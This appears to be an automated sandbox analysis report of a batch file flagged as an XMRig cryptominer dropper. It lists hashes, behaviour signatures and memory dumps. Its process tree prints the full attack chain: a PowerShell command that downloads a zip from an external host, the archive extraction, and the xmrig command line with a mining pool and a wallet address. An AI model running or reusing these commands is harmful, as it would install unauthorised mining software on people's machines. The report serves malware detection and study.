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Analysis

  • max time kernel
    1811s
  • max time network
    1813s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/11/2023, 18:08

General

  • Target

    tesy - Copy (5).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4220
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2588
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3040
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4692
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4784

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    b1e180583d3525f6534cc1110224a5fb

    SHA1

    b7cadce5826cdbe5b7a16cc6116522e7885882b7

    SHA256

    2e7e0e975fd986c9156ccaf646991dc1f1620e0330ff7b934dbdfd5a7c4567f7

    SHA512

    a8b64bd8c0709ae0440846e98d9e8023506c5fc3228c5a4bb2a5ae29bc310fb7cf833219766a1305b708bd7f1b21d76b3efa1169d5c7ffa09412d2a4bb600752

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    b53899618341a93fac3eb33f70f746f6

    SHA1

    ca6e0f527bd32df2f5cf54fe3f8a84c5eb1e26ad

    SHA256

    b14248d7367c2778dc545d3aa866f2f34bbe4805908c0319fa12e5761f172428

    SHA512

    8b1f21d96b6680b61a6e75ca78554994c5a444e7807a4286a04c3e9d3bf8771da85eeecc3fb986a4087ec63152b53ed4df59003a533a500e59336c6d72817f11

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1jmlz2v0.zok.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\test1.zip

    Filesize

    3.2MB

    MD5

    95452958f42b1b93f0c887f59d84d19f

    SHA1

    c861dc457d57471ab42879f49cc8fe171e7c9b1c

    SHA256

    dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255

    SHA512

    96207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    278B

    MD5

    080123b6eac4a332d3f2b11f6eb3aa54

    SHA1

    8f3d40eae881e3b871cff2aa85521d727ada2a64

    SHA256

    cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

    SHA512

    0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/2588-9-0x00000277FC810000-0x00000277FC832000-memory.dmp

    Filesize

    136KB

  • memory/2588-10-0x00007FFB880D0000-0x00007FFB88B91000-memory.dmp

    Filesize

    10.8MB

  • memory/2588-11-0x00000277FC8D0000-0x00000277FC8E0000-memory.dmp

    Filesize

    64KB

  • memory/2588-12-0x00000277FC8D0000-0x00000277FC8E0000-memory.dmp

    Filesize

    64KB

  • memory/2588-13-0x00000277FC8D0000-0x00000277FC8E0000-memory.dmp

    Filesize

    64KB

  • memory/2588-17-0x00007FFB880D0000-0x00007FFB88B91000-memory.dmp

    Filesize

    10.8MB

  • memory/3040-19-0x00007FFB87EE0000-0x00007FFB889A1000-memory.dmp

    Filesize

    10.8MB

  • memory/3040-30-0x000001C5E4690000-0x000001C5E46A0000-memory.dmp

    Filesize

    64KB

  • memory/3040-29-0x000001C5E4690000-0x000001C5E46A0000-memory.dmp

    Filesize

    64KB

  • memory/3040-32-0x000001C5E4690000-0x000001C5E46A0000-memory.dmp

    Filesize

    64KB

  • memory/3040-33-0x000001C5E6C00000-0x000001C5E6C12000-memory.dmp

    Filesize

    72KB

  • memory/3040-34-0x000001C5E6A90000-0x000001C5E6A9A000-memory.dmp

    Filesize

    40KB

  • memory/3040-43-0x00007FFB87EE0000-0x00007FFB889A1000-memory.dmp

    Filesize

    10.8MB

  • memory/4784-72-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-82-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-49-0x0000025128460000-0x00000251284A0000-memory.dmp

    Filesize

    256KB

  • memory/4784-50-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-51-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-52-0x00000251284A0000-0x00000251284C0000-memory.dmp

    Filesize

    128KB

  • memory/4784-53-0x00000251284C0000-0x00000251284E0000-memory.dmp

    Filesize

    128KB

  • memory/4784-54-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-55-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-56-0x00000251284A0000-0x00000251284C0000-memory.dmp

    Filesize

    128KB

  • memory/4784-57-0x00000251284C0000-0x00000251284E0000-memory.dmp

    Filesize

    128KB

  • memory/4784-58-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-59-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-60-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-61-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-62-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-63-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-64-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-65-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-66-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-67-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-68-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-69-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-70-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-71-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-47-0x0000025126C60000-0x0000025126C80000-memory.dmp

    Filesize

    128KB

  • memory/4784-73-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-74-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-75-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-76-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-77-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-78-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-79-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-80-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-81-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-48-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-83-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-84-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-85-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-86-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-87-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-88-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-89-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-90-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-91-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-92-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-93-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-94-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-95-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-96-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-97-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-98-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-99-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-100-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-101-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-102-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-103-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-104-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-105-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-106-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-107-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-108-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-109-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-110-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-111-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-112-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-113-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-114-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB

  • memory/4784-115-0x00007FF7FEF00000-0x00007FF7FFA03000-memory.dmp

    Filesize

    11.0MB